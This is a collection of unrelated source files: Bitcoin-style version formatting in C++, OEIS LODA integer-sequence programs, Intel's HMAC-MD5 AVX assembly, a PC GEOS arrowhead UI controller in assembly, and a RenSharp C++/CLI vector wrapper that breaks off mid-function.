#define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)
#endif
#endif
#ifndef BUILD_DATE
#ifdef GIT_COMMIT_DATE
#define BUILD_DATE GIT_COMMIT_DATE
#else
#define BUILD_DATE __DATE__ ", " __TIME__
#endif
#endif
const std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);
const std::string CLIENT_DATE(BUILD_DATE);
static std::string FormatVersion(int nVersion)
{
if (nVersion % 100 == 0)
return strprintf("%d.%d.%d", nVersion / 1000000, (nVersion / 10000) % 100, (nVersion / 100) % 100);
else
return strprintf("%d.%d.%d.%d", nVersion / 1000000, (nVersion / 10000) % 100, (nVersion / 100) % 100, nVersion % 100);
}
std::string FormatFullVersion()
{
return CLIENT_BUILD;
}
/**
* Format the subversion field according to BIP 14 spec (https://github.com/bitcoin/bips/blob/master/bip-0014.mediawiki)
*/
std::string FormatSubVersion(const std::string& name, int nClientVersion, const std::vector<std::string>& comments)
{
std::ostringstream ss;
ss << "/";
ss << name << ":" << FormatVersion(nClientVersion);
if (!comments.empty())
{
std::vector<std::string>::const_iterator it(comments.begin());
ss << "(" << *it;
for(++it; it != comments.end(); ++it)
ss << "; " << *it;
ss << ")";
}
ss << "/";
return ss.str();
}
|
; A013966: a(n) = sigma_18(n), the sum of the 18th powers of the divisors of n.
; 1,262145,387420490,68719738881,3814697265626,101560344351050,1628413597910450,18014467229220865,150094635684419611,1000003814697527770,5559917313492231482,26623434909949071690,112455406951957393130,426880482624234915250,1477891883850485076740,4722384497336874434561,14063084452067724991010,39346558271492178925595,104127350297911241532842,262145000003883417004506,630880794025129515120500,1457504524145421021848890,3244150909895248285300370,6979173721033689836523850,14551915228370666503906251,29479622655420870822063850,58149737153134695374809780,111904157238675851221206450,210457284365172120330305162,387421967891985410442007300,699053619999045038539170242,1237944761669877611773558785,2154025889952643931949866180,3686567273687293767768316450,6211904899257190242211191700,10314464171672140387955595291,16890053810563300749953435930,27296464243845942411626866090,43567528864476739705547233700,68719738881018018281926486490,107178930967531784356353269522,165382245749717576741263472500,252599333573498060811820806650,382076065983137165665047651642,572565596330486135132510591486,850437940274489861750065493650,1252453015827223091648143056290,1829548515926655588506095554890,2651730845859655100192621292051,3814711817541228370666504168395,5448327069331459529202339794900,7727906201495104167731063287530,10888439761782913818722623349690,15243662846008494719029509778100,21209401372885471271378433637732,29335003395175443970945541539250,40341069074818419171161998732580,55170324809908045483987846692490,75047496554032956760519149093722,101560344352554515318760046727940,136753052840548005895349735207882,183253411214649661627850783089090,244416145721923956664730601834950,324519791603188396660767794135041,428983333404490938721466117549380,564667116921635843540997669756100,740195513856780056217081017732810,966411491407545021909925272459810,1256850535145562939362729142581300,1628419809815776136044452848196500,2102085018129621311776010144838962,2703874895818821719954867256383515,3465863721549107204083472585375570,4427643156170116475096543461869850,5637710128213825518569946676482990,7155604322842878077851424425829802,9053844956548488017229262906786900,11421009854178254930110679578286500,14364405059580771582276370834385762,18014467229225587384501151571700186,22528399603088911564974843249582421,28096420858483619610096227838844690,34946659039493167390823397237402410,43353963430444845231286901250160500,53646409805570264984972392432022260,66217652299624649151514765359264250,81535464232824321792705787711569380,100158948241083514716015565084271930,122749609618842355502421774953773682,150095208250055287894311989005097470,183123913839120769996975997185208500,222937203418560021228504417052685970,270827695996303828362914219349058580,328324295834027397360102461491142050,397214318458322669574579222276689092,479605166159077202593341913528504650,577951262543040979328274795306257090,695137982587879286239994708604709395,834513763604113504518817192432393502
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,18
add $1,$3
lpe
add $1,1
mov $0,$1
|
; A159949: Numerator of Hermite(n, 1/24).
; Submitted by Christian Krause
; 1,1,-287,-863,247105,1241281,-354589919,-2499523487,712353753217,6471255867265,-1839949672471199,-20477166570194399,5808483395818564033,76577571062410406977,-21670384262882293332575,-330431150786521054263839,93285628864864986142460161,1615912371689154004190230273,-455110526550689818149294717983,-8832000261387264175871448453215,2481532801023987420737069248349761,53353854306614629073756612338868161,-14954956526286461291544038201680486367,-353004977412996751102865933980749154463
mul $0,2
mov $1,1
lpb $0
sub $0,2
sub $1,$2
add $2,$1
mul $2,144
mul $2,$0
lpe
mov $0,$1
|
;;
;; Copyright (c) 2012-2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "os.asm"
%include "job_aes_hmac.asm"
%include "mb_mgr_datastruct.asm"
%include "memcpy.asm"
%include "reg_sizes.asm"
%include "const.inc"
extern md5_x4x2_avx
section .data
default rel
align 16
dupw: ;ddq 0x01000100010001000100010001000100
dq 0x0100010001000100, 0x0100010001000100
section .text
%if 1
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define reg3 rcx
%define reg4 rdx
%else
%define arg1 rcx
%define arg2 rdx
%define reg3 rdi
%define reg4 rsi
%endif
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in rbp
%define last_len rbp
%define idx rbp
%define p r11
%define start_offset r11
%define unused_lanes rbx
%define tmp4 rbx
%define job_rax rax
%define len rax
%define size_offset reg3
%define tmp2 reg3
%define lane reg4
%define tmp3 reg4
%define extra_blocks r8
%define tmp r9
%define p2 r9
%define lane_data r10
%endif
; This routine and/or the called routine clobbers all GPRs
struc STACK
_gpr_save: resq 8
_rsp_save: resq 1
endstruc
; JOB* submit_job_hmac_md5_avx(MB_MGR_HMAC_MD5_OOO *state, JOB_AES_HMAC *job)
; arg 1 : rcx : state
; arg 2 : rdx : job
MKGLOBAL(submit_job_hmac_md5_avx,function,internal)
submit_job_hmac_md5_avx:
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
mov [rsp + _gpr_save + 8*5], r15
%ifndef LINUX
mov [rsp + _gpr_save + 8*6], rsi
mov [rsp + _gpr_save + 8*7], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
mov unused_lanes, [state + _unused_lanes_md5]
mov lane, unused_lanes
and lane, 0xF
shr unused_lanes, 4
imul lane_data, lane, _HMAC_SHA1_LANE_DATA_size
lea lane_data, [state + _ldata_md5 + lane_data]
mov [state + _unused_lanes_md5], unused_lanes
mov len, [job + _msg_len_to_hash_in_bytes]
mov tmp, len
shr tmp, 6 ; divide by 64, len in terms of blocks
mov [lane_data + _job_in_lane], job
mov dword [lane_data + _outer_done], 0
;; insert len into proper lane
vmovdqa xmm0, [state + _lens_md5]
XVPINSRW xmm0, xmm1, p, lane, tmp, scale_x16
vmovdqa [state + _lens_md5], xmm0
mov last_len, len
and last_len, 63
lea extra_blocks, [last_len + 9 + 63]
shr extra_blocks, 6
mov [lane_data + _extra_blocks], DWORD(extra_blocks)
mov p, [job + _src]
add p, [job + _hash_start_src_offset_in_bytes]
mov [state + _args_data_ptr_md5 + PTR_SZ*lane], p
cmp len, 64
jb copy_lt64
fast_copy:
add p, len
vmovdqu xmm0, [p - 64 + 0*16]
vmovdqu xmm1, [p - 64 + 1*16]
vmovdqu xmm2, [p - 64 + 2*16]
vmovdqu xmm3, [p - 64 + 3*16]
vmovdqa [lane_data + _extra_block + 0*16], xmm0
vmovdqa [lane_data + _extra_block + 1*16], xmm1
vmovdqa [lane_data + _extra_block + 2*16], xmm2
vmovdqa [lane_data + _extra_block + 3*16], xmm3
end_fast_copy:
mov size_offset, extra_blocks
shl size_offset, 6
sub size_offset, last_len
add size_offset, 64-8
mov [lane_data + _size_offset], DWORD(size_offset)
mov start_offset, 64
sub start_offset, last_len
mov [lane_data + _start_offset], DWORD(start_offset)
lea tmp, [8*64 + 8*len]
; bswap tmp
mov [lane_data + _extra_block + size_offset], tmp
mov tmp, [job + _auth_key_xor_ipad]
vmovdqu xmm0, [tmp]
vmovd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*lane + 0*MD5_DIGEST_ROW_SIZE], xmm0
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*lane + 1*MD5_DIGEST_ROW_SIZE], xmm0, 1
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*lane + 2*MD5_DIGEST_ROW_SIZE], xmm0, 2
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*lane + 3*MD5_DIGEST_ROW_SIZE], xmm0, 3
test len, ~63
jnz ge64_bytes
lt64_bytes:
vmovdqa xmm0, [state + _lens_md5]
XVPINSRW xmm0, xmm1, tmp, lane, extra_blocks, scale_x16
vmovdqa [state + _lens_md5], xmm0
lea tmp, [lane_data + _extra_block + start_offset]
mov [state + _args_data_ptr_md5 + PTR_SZ*lane], tmp
mov dword [lane_data + _extra_blocks], 0
ge64_bytes:
cmp unused_lanes, 0xf
jne return_null
jmp start_loop
align 16
start_loop:
; Find min length
vmovdqa xmm0, [state + _lens_md5]
vphminposuw xmm1, xmm0
vpextrw DWORD(len2), xmm1, 0 ; min value
vpextrw DWORD(idx), xmm1, 1 ; min index (0...3)
cmp len2, 0
je len_is_0
vpshufb xmm1, xmm1, [rel dupw] ; duplicate words across all lanes
vpsubw xmm0, xmm0, xmm1
vmovdqa [state + _lens_md5], xmm0
; "state" and "args" are the same address, arg1
; len is arg2
call md5_x4x2_avx
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _HMAC_SHA1_LANE_DATA_size
lea lane_data, [state + _ldata_md5 + lane_data]
mov DWORD(extra_blocks), [lane_data + _extra_blocks]
cmp extra_blocks, 0
jne proc_extra_blocks
cmp dword [lane_data + _outer_done], 0
jne end_loop
proc_outer:
mov dword [lane_data + _outer_done], 1
mov DWORD(size_offset), [lane_data + _size_offset]
mov qword [lane_data + _extra_block + size_offset], 0
vmovdqa xmm0, [state + _lens_md5]
XVPINSRW xmm0, xmm1, tmp, idx, 1, scale_x16
vmovdqa [state + _lens_md5], xmm0
lea tmp, [lane_data + _outer_block]
mov job, [lane_data + _job_in_lane]
mov [state + _args_data_ptr_md5 + PTR_SZ*idx], tmp
vmovd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE]
vpinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE], 1
vpinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE], 2
vpinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE], 3
; vpshufb xmm0, [byteswap wrt rip]
vmovdqa [lane_data + _outer_block], xmm0
mov tmp, [job + _auth_key_xor_opad]
vmovdqu xmm0, [tmp]
vmovd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE], xmm0
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE], xmm0, 1
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE], xmm0, 2
vpextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE], xmm0, 3
jmp start_loop
align 16
proc_extra_blocks:
mov DWORD(start_offset), [lane_data + _start_offset]
vmovdqa xmm0, [state + _lens_md5]
XVPINSRW xmm0, xmm1, tmp, idx, extra_blocks, scale_x16
vmovdqa [state + _lens_md5], xmm0
lea tmp, [lane_data + _extra_block + start_offset]
mov [state + _args_data_ptr_md5 + PTR_SZ*idx], tmp
mov dword [lane_data + _extra_blocks], 0
jmp start_loop
align 16
copy_lt64:
;; less than one message block of data
;; beginning of source block
;; destination extrablock but backwards by len from where 0x80 pre-populated
;; p2 clobbers unused_lanes, undo before exiting
lea p2, [lane_data + _extra_block + 64]
sub p2, len
memcpy_avx_64_1 p2, p, len, tmp4, tmp2, xmm0, xmm1, xmm2, xmm3
mov unused_lanes, [state + _unused_lanes_md5]
jmp end_fast_copy
return_null:
xor job_rax, job_rax
jmp return
align 16
end_loop:
mov job_rax, [lane_data + _job_in_lane]
mov unused_lanes, [state + _unused_lanes_md5]
mov qword [lane_data + _job_in_lane], 0
or dword [job_rax + _status], STS_COMPLETED_HMAC
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _unused_lanes_md5], unused_lanes
mov p, [job_rax + _auth_tag_output]
; copy 12 bytes
mov DWORD(tmp), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE]
mov DWORD(tmp2), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE]
mov DWORD(tmp3), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE]
mov [p + 0*4], DWORD(tmp)
mov [p + 1*4], DWORD(tmp2)
mov [p + 2*4], DWORD(tmp3)
cmp DWORD [job_rax + _auth_tag_output_len_in_bytes], 12
je return
; copy 16 bytes
mov DWORD(tmp3), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE]
mov [p + 3*4], DWORD(tmp3)
return:
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
mov r15, [rsp + _gpr_save + 8*5]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*6]
mov rdi, [rsp + _gpr_save + 8*7]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiArrowheadControl.asm
AUTHOR: Jon Witort
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 24 feb 1992 Initial version.
DESCRIPTION:
Code for the GrObjArrowheadControlClass
$Id: uiArrowheadControl.asm,v 1.1 97/04/04 18:06:21 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjUIControllerCode segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjArrowheadControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for GrObjArrowheadControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of GrObjArrowheadControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
GrObjArrowheadControlGetInfo method dynamic GrObjArrowheadControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset GOAHC_dupInfo
call CopyDupInfoCommon
ret
GrObjArrowheadControlGetInfo endm
GOAHC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
GOAHC_IniFileKey, ; GCBI_initFileKey
GOAHC_gcnList, ; GCBI_gcnList
length GOAHC_gcnList, ; GCBI_gcnCount
GOAHC_notifyList, ; GCBI_notificationList
length GOAHC_notifyList, ; GCBI_notificationCount
GOAHCName, ; GCBI_controllerName
handle GrObjArrowheadControlUI, ; GCBI_dupBlock
GOAHC_childList, ; GCBI_childList
length GOAHC_childList, ; GCBI_childCount
GOAHC_featuresList, ; GCBI_featuresList
length GOAHC_featuresList, ; GCBI_featuresCount
GOAHC_DEFAULT_FEATURES, ; GCBI_defaultFeatures
0, ; GCBI_dupBlock
0, ; GCBI_childList
0, ; GCBI_childCount
0, ; GCBI_featuresList
0, ; GCBI_featuresCount
0> ; GCBI_defaultFeatures
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP segment resource
endif
GOAHC_IniFileKey char "GrObjArrowhead", 0
GOAHC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, \
GAGCNLT_APP_TARGET_NOTIFY_GROBJ_LINE_ATTR_CHANGE>
GOAHC_notifyList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_LINE_ATTR_CHANGE>
;---
GOAHC_childList GenControlChildInfo \
<offset GrObjArrowheadTypeList, mask GOAHCF_TYPE, 0>,
<offset GrObjArrowheadWhichEndList, mask GOAHCF_WHICH_END, 0>
GOAHC_featuresList GenControlFeaturesInfo \
<offset GrObjArrowheadWhichEndList, ArrowheadWhichEndName, 0>,
<offset GrObjArrowheadTypeList, ArrowheadTypeName, 0>
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjArrowheadControlSetArrowheadType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: GrObjArrowheadControl method for MSG_GOAHC_SET_ARROWHEAD_TYPE
Called by:
Pass: *ds:si = GrObjArrowheadControl object
ds:di = GrObjArrowheadControl instance
cx - StandardArrowheadType
Return: nothing
Destroyed: ax, bx, di
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 24, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjArrowheadControlSetArrowheadType method dynamic GrObjArrowheadControlClass, MSG_GOAHC_SET_ARROWHEAD_TYPE
.enter
mov ax, MSG_GO_SET_ARROWHEAD_ANGLE
mov bx, segment GrObjClass
mov di, offset GrObjClass
call GenControlOutputActionRegs
mov cl, ch ;cl <- radius * 2
shr cl
mov ax, MSG_GO_SET_ARROWHEAD_LENGTH
mov bx, segment GrObjClass
mov di, offset GrObjClass
call GenControlOutputActionRegs
mov cl, ch
andnf cl, mask SAT_FILLED shr 8
mov ax, MSG_GO_SET_ARROWHEAD_FILLED
mov bx, segment GrObjClass
mov di, offset GrObjClass
call GenControlOutputActionRegs
.leave
ret
GrObjArrowheadControlSetArrowheadType endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjArrowheadControlSetArrowheadWhichEnd
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: GrObjArrowheadControl method for
MSG_GOAHC_SET_ARROWHEAD_WHICH_END
Called by:
Pass: *ds:si = GrObjArrowheadControl object
ds:di = GrObjArrowheadControl instance
cl - GrObjLineAttrInfoRecord with GOLAIR_ARROWHEAD_ON_* set
appropriately
Return: nothing
Destroyed: ax, bx, di
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 24, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjArrowheadControlSetArrowheadWhichEnd method dynamic GrObjArrowheadControlClass, MSG_GOAHC_SET_ARROWHEAD_WHICH_END
.enter
push cx
andnf cl, mask GOLAIR_ARROWHEAD_ON_START
mov ax, MSG_GO_SET_ARROWHEAD_ON_START
mov bx, segment GrObjClass
mov di, offset GrObjClass
call GenControlOutputActionRegs
pop cx
andnf cl, mask GOLAIR_ARROWHEAD_ON_END
mov ax, MSG_GO_SET_ARROWHEAD_ON_END
mov bx, segment GrObjClass
mov di, offset GrObjClass
call GenControlOutputActionRegs
.leave
ret
GrObjArrowheadControlSetArrowheadWhichEnd endm
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjArrowheadControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for GrObjArrowheadControlClass
DESCRIPTION: Handle notification of type change
PASS:
*ds:si - instance data
es - segment of GrObjArrowheadControlClass
ax - MSG_GEN_CONTROL_UPDATE_UI
ss:bp - GenControlUpdateUIParams
RETURN: nothing
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 15 apr 1992 Initial version
------------------------------------------------------------------------------@
GrObjArrowheadControlUpdateUI method dynamic GrObjArrowheadControlClass,
MSG_GEN_CONTROL_UPDATE_UI
uses ax, cx, dx
.enter
mov bx, ss:[bp].GCUUIP_dataBlock
call MemLock
jc done
mov es, ax
mov dx, es:[GNLAC_lineAttrDiffs]
mov cl, es:[GNLAC_lineAttr].GOBLAE_arrowheadAngle
mov ch, es:[GNLAC_lineAttr].GOBLAE_arrowheadLength
mov al, es:[GNLAC_lineAttr].GOBLAE_lineInfo
call MemUnlock
mov bx, ss:[bp].GCUUIP_childBlock
push ax, dx ;save info, diffs
;
; Construct a StandardArrowheadType out of the info
;
shl ch
test al, mask GOLAIR_ARROWHEAD_FILLED
jz haveSAT
BitSet cx, SAT_FILLED
haveSAT:
andnf dx, mask GOBLAD_MULTIPLE_ARROWHEAD_ANGLES or \
mask GOBLAD_MULTIPLE_ARROWHEAD_LENGTHS or \
mask GOBLAD_ARROWHEAD_FILLED
mov si, offset GrObjArrowheadTypeList
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr di
call ObjMessage
CheckHack <offset GOBLAD_ARROWHEAD_ON_END eq offset GOLAIR_ARROWHEAD_ON_END>
CheckHack <offset GOBLAD_ARROWHEAD_ON_START eq offset GOLAIR_ARROWHEAD_ON_START>
pop cx, dx ;cl <- info
;dx <- diffs
mov si, offset GrObjArrowheadWhichEndList
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
done:
.leave
ret
GrObjArrowheadControlUpdateUI endm
GrObjUIControllerCode ends
|
/*
Copyright 2020 Neijwiert
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "stdafx.h"
#include "MConstDefinitionClassPtrDynamicVectorClass.h"
#include "MDefinition.h"
#include "Imports.h"
namespace RenSharp
{
ConstDefinitionClassPtrDynamicVectorClass::ConstDefinitionClassPtrDynamicVectorClass()
: DynamicVectorClass<IDefinitionClass^>(IntPtr(Imports::CreateConstDefinitionClassPtrDynamicVectorClass1()))
{
}
ConstDefinitionClassPtrDynamicVectorClass::ConstDefinitionClassPtrDynamicVectorClass(int size)
: DynamicVectorClass<IDefinitionClass^>()
{
if (size < 0)
{
throw gcnew ArgumentOutOfRangeException("size");
}
Pointer = IntPtr(Imports::CreateConstDefinitionClassPtrDynamicVectorClass2(size));
}
ConstDefinitionClassPtrDynamicVectorClass::ConstDefinitionClassPtrDynamicVectorClass(IntPtr pointer)
: DynamicVectorClass<IDefinitionClass^>(pointer)
{
}
IUnmanagedContainer<IDynamicVectorClass<IDefinitionClass^>^>^ ConstDefinitionClassPtrDynamicVectorClass::CreateConstDefinitionClassPtrDynamicVectorClass()
{
return gcnew UnmanagedContainer<IDynamicVectorClass<IDefinitionClass^>^>(gcnew ConstDefinitionClassPtrDynamicVectorClass());
}
IUnmanagedContainer<IDynamicVectorClass<IDefinitionClass^>^>^ ConstDefinitionClassPtrDynamicVectorClass::CreateConstDefinitionClassPtrDynamicVectorClass(int size)
{
return gcnew UnmanagedContainer<IDynamicVectorClass<IDefinitionClass^>^>(gcnew ConstDefinitionClassPtrDynamicVectorClass(size));
}
bool ConstDefinitionClassPtrDynamicVectorClass::Resize(int newSize)
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Resize(newSize);
}
void ConstDefinitionClassPtrDynamicVectorClass::Clear()
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Clear();
}
int ConstDefinitionClassPtrDynamicVectorClass::ID(IDefinitionClass^ object)
{
if (object == nullptr || object->DefinitionClassPointer.ToPointer() == nullptr)
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->ID(static_cast<::DefinitionClass*>(nullptr));
}
else
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->ID(reinterpret_cast<::DefinitionClass*>(object->DefinitionClassPointer.ToPointer()));
}
}
void ConstDefinitionClassPtrDynamicVectorClass::Insert(int index, IDefinitionClass^ object)
{
if (index < 0 || index >= Length)
{
throw gcnew ArgumentOutOfRangeException("index");
}
if (object == nullptr || object->DefinitionClassPointer.ToPointer() == nullptr)
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Insert(index, nullptr);
}
else
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Insert(index, reinterpret_cast<::DefinitionClass*>(object->DefinitionClassPointer.ToPointer()));
}
}
bool ConstDefinitionClassPtrDynamicVectorClass::Add(IDefinitionClass^ object)
{
if (object == nullptr || object->DefinitionClassPointer.ToPointer() == nullptr)
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Add(nullptr);
}
else
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Add(reinterpret_cast<::DefinitionClass*>(object->DefinitionClassPointer.ToPointer()));
}
}
void ConstDefinitionClassPtrDynamicVectorClass::ResetActive()
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Reset_Active();
}
bool ConstDefinitionClassPtrDynamicVectorClass::AddHead(IDefinitionClass^ object)
{
if (object == nullptr || object->DefinitionClassPointer.ToPointer() == nullptr)
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Add_Head(nullptr);
}
else
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Add_Head(reinterpret_cast<::DefinitionClass*>(object->DefinitionClassPointer.ToPointer()));
}
}
bool ConstDefinitionClassPtrDynamicVectorClass::DeleteObj(IDefinitionClass^ object)
{
if (object == nullptr || object->DefinitionClassPointer.ToPointer() == nullptr)
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->DeleteObj(nullptr);
}
else
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->DeleteObj(reinterpret_cast<::DefinitionClass*>(object->DefinitionClassPointer.ToPointer()));
}
}
bool ConstDefinitionClassPtrDynamicVectorClass::Delete(int index)
{
if (index < 0 || index >= Count)
{
throw gcnew ArgumentOutOfRangeException("index");
}
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Delete(index);
}
void ConstDefinitionClassPtrDynamicVectorClass::DeleteAll()
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Delete_All();
}
int ConstDefinitionClassPtrDynamicVectorClass::UninitializedAdd()
{
int count = Count;
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Uninitialized_Add();
return count;
}
void ConstDefinitionClassPtrDynamicVectorClass::AddMultiple(int numberToAdd)
{
if (numberToAdd < 0)
{
throw gcnew ArgumentOutOfRangeException("numberToAdd");
}
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Add_Multiple(numberToAdd);
}
IntPtr ConstDefinitionClassPtrDynamicVectorClass::ConstDefinitionClassPtrDynamicVectorClassPointer::get()
{
return IntPtr(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
}
IDefinitionClass^ ConstDefinitionClassPtrDynamicVectorClass::default::get(int index)
{
if (index < 0 || index >= Count)
{
